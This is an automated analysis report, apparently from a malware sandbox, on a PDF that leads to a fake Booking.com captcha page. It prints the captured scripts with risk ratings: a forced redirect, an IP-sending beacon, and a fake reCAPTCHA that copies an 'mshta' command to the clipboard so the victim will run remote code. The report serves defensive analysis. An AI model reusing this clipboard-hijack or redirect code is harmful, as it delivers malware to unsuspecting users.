Windows Analysis Report
JvrQuHMa2C.pdf

{
  "risk_score": 1,
  "reasoning": [
    "No headers provided to analyze",
    "Cannot make security assessment without header information",
    "Default to low risk score due to lack of evidence"
  ]
}

Date: unknown

{
    "risk_score": 9,
    "reasoning": "This script demonstrates high-risk behavior, including dynamic code execution and data exfiltration. It attempts to redirect the user to an untrusted domain, which is a strong indicator of malicious intent."
}

function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function process() { await sleep(0); if (window.location !== window.parent.location ) { top.location = "http://clintonmakes.com/215c/"; } else { window.location = "http://clintonmakes.com/215c/"; } } a19477= 40; window.onerror = process; process();

{
    "typosquatting": true,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": true,
    "third_party_hosting": true,
    "reasoning": "The domain appears to be attempting to typosquat 'facebook' with a jumbled version ('fixecondfirbook'). The .info TLD is often associated with suspicious domains. This is likely a malicious domain trying to impersonate Facebook."
}

URL: https://fixecondfirbook.info

{
    "risk_score": 4,
    "reasoning": "The script demonstrates some potentially concerning behaviors, such as preventing the default context menu and disabling keyboard shortcuts for changing the language. While these actions could be part of a legitimate feature, they may also indicate an attempt to restrict user control or prevent certain actions. Additionally, the use of a mutation observer to revert language changes could be an attempt to override user preferences. Overall, the script requires further review to determine the intent and potential impact."
}

(function() {
    function revertLanguageChange() {
        if (document.documentElement.lang !== originalLang) {
            document.documentElement.lang = originalLang;
        }
    }

    const originalLang = document.documentElement.lang;

    const observer = new MutationObserver(revertLanguageChange);
    observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] });

    document.addEventListener('contextmenu', function(event) {
        event.preventDefault();
    }, false);

    document.addEventListener('keydown', function(event) {
        if ((event.ctrlKey || event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') {
            event.preventDefault();
        }
        if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') {
            event.preventDefault();
        }
    }, false);
})();

{
    "risk_score": 4,
    "reasoning": "The script has a moderate-risk indicator for external data transmission, as it sends the user's IP address to the '/send-ip' endpoint without any transparency or explanation. While this behavior may have a legitimate purpose, such as reCAPTCHA verification, the lack of context and potential privacy implications warrant further review."
}

document.addEventListener('DOMContentLoaded', function() {
    const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox');
    if (recaptchaCheckbox) {
        recaptchaCheckbox.addEventListener('click', function() {
            //  IP-  
            fetch('/send-ip', {
                method: 'POST'
            }).then(response => {
                if (response.ok) {
                    console.log('');
                } else {
                    console.error('');
                }
            });
        });
    }
}); 

{
    "risk_score": 8,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The `copyToClipboard()` function generates a command that could be used for malicious purposes, and the script also manipulates the DOM to hide the reCAPTCHA checkbox and display a custom SVG element. These behaviors, combined with the suspicious intent and lack of transparency, indicate a high-risk script that should be further investigated."
}

    async function copyToClipboard() {
      var copyText = `mshta ${window.location.origin}/captcha #  ''I am not a robot - reCAPTCHA Verification ID: 4345''`
      try { await navigator.clipboard.writeText(copyText); } catch (error) { }
    }

    function someEdit() {

      document.getElementsByClassName('recaptcha-checkbox')[0].style.display = 'none'

      document.getElementsByClassName("loadImg")[0].innerHTML = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid" style="shape-rendering: auto; display: block; background: transparent;" width="32" height="32" xmlns:xlink="http://www.w3.org/1999/xlink"><g><circle stroke-dasharray="155.50883635269477 53.83627878423159" r="33" stroke-width="12" stroke="#4d90fe" fill="none" cy="50" cx="50">
                          <animateTransform keyTimes="0;1" values="0 50 50;360 50 50" dur="1.3888888888888888s" repeatCount="indefinite" type="rotate" attributeName="transform"></animateTransform>
                        </circle><g></g></g></svg>`
      setTimeout(function () {
        document.getElementsByClassName('sjgdhfgas34')[0].style.display = "block"

        copyToClipboard()

      }, 2000)


    }
  

{
  "contains_trigger_text": true,
  "trigger_text": "View Complaint",
  "prominent_button_name": "View Complaint",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "unknown"
}

{
  "brands": [
    "Booking"
  ]
}

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": true,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false,
"page_classification": "unknown"
}

{
  "brands": [
    "Booking"
  ]
}

```json{  "legit_domain": "booking.com",  "classification": "wellknown",  "reasons": [    "The brand 'Booking' is well-known and is primarily associated with the domain 'booking.com'.",    "The URL 'fixecondfirbook.info' does not match the legitimate domain 'booking.com'.",    "The URL contains suspicious elements such as misspellings and unusual domain extension '.info', which is not typically used by the brand.",    "The domain name 'fixecondfirbook' does not have any clear association with the brand 'Booking'.",    "The presence of unrelated or misspelled words in the domain name is a common phishing tactic."  ],  "riskscore": 9}
Google indexed: False